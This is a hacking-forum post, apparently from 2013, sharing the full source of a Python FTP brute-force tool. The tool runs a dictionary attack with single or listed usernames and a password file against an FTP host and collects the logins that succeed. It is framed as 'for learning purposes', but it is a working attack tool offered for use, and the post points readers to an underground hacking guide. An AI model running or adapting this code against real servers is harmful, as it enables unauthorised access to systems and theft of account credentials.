[Python] FTP Brute 06-25-2013, 03:54 AM
#1
This is a ftp brute forcer written in python by me and now noize with the updated code. I thought I'd post it for learning purposes, have fun.
Code:
#!/usr/bin/env/python3.1
#ftpbrute.py
#mls577 and noize
#shoutz to suidrewt and #haxme
#ftpbrute is a simple ftp brute force tool that noize and I wrote that will take a single username, or a list of usernames from a file and try them
#along with a specified password file to do a dictionary attack on an ftp server in order to find login credentials
#imports
import socket, sys
import ftplib
from ftplib import FTP
successful_logins = [] #list of successful logins
def main():
if(len(sys.argv) < 4): # argument check
usage() # if not enough args are specified print usage
else:
usage()
userpass() #else call userpass()
if(len(successful_logins) == 0):
print("\n\nNo Successful Logins Found")
else:
print("\n\nSuccessful Logins Found: \n")
for creds in successful_logins:
print(creds)
def usage():
print("\n ###########################################################################")
print(" # FTP BRUTE 1.0 #")
print(" # #")
print(" # Coded by mls577 and noize #")
print(" # #suidrewt and #haxme #")
print(" ###########################################################################")
print("\n Usage: ftpbrute.py [host] [single | multi] [username | userslist] [passlist]")
print("\n Examples:")
print("\n ftpbrute.py www.example.com single admin pass.txt")
print(" ftpbrute.py www.example.com multi users.txt pass.txt")
def userpass():
username_option = sys.argv[2] # user mode
password_file = open(sys.argv[4], 'r') # password file
if(username_option == "single"):
user = sys.argv[3] #username
for password in password_file:
connect(user, password) #pass credentials to connect()
elif(username_option == "multi"):
username_file = open(sys.argv[3], 'r') #username file
for user in username_file:
for password in password_file:
login = connect(user, password) #pass credentials to connect()
else:
print("Error! Unexpected user option!")
def connect(user, password):
host = sys.argv[1] #ftp server address
try:
FTP(host, user, password) #attempted ftp connection
print("\nNow trying: " + user + " " + password + "\nSuccessful Login!")
creds = user + ":" + password #format
successful_logins.append(creds) #add successful logins to list
except ftplib.error_perm:
print("\nNow trying: " + user + " " + password + "\nUnsuccessful Login")
main()
A Serious Newbies Guide to the Underground v3
http://www.hackcommunity.com/Thread-A-Se...-v3-Part-1
http://www.hackcommunity.com/Thread-A-Se...-v3-Part-1


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


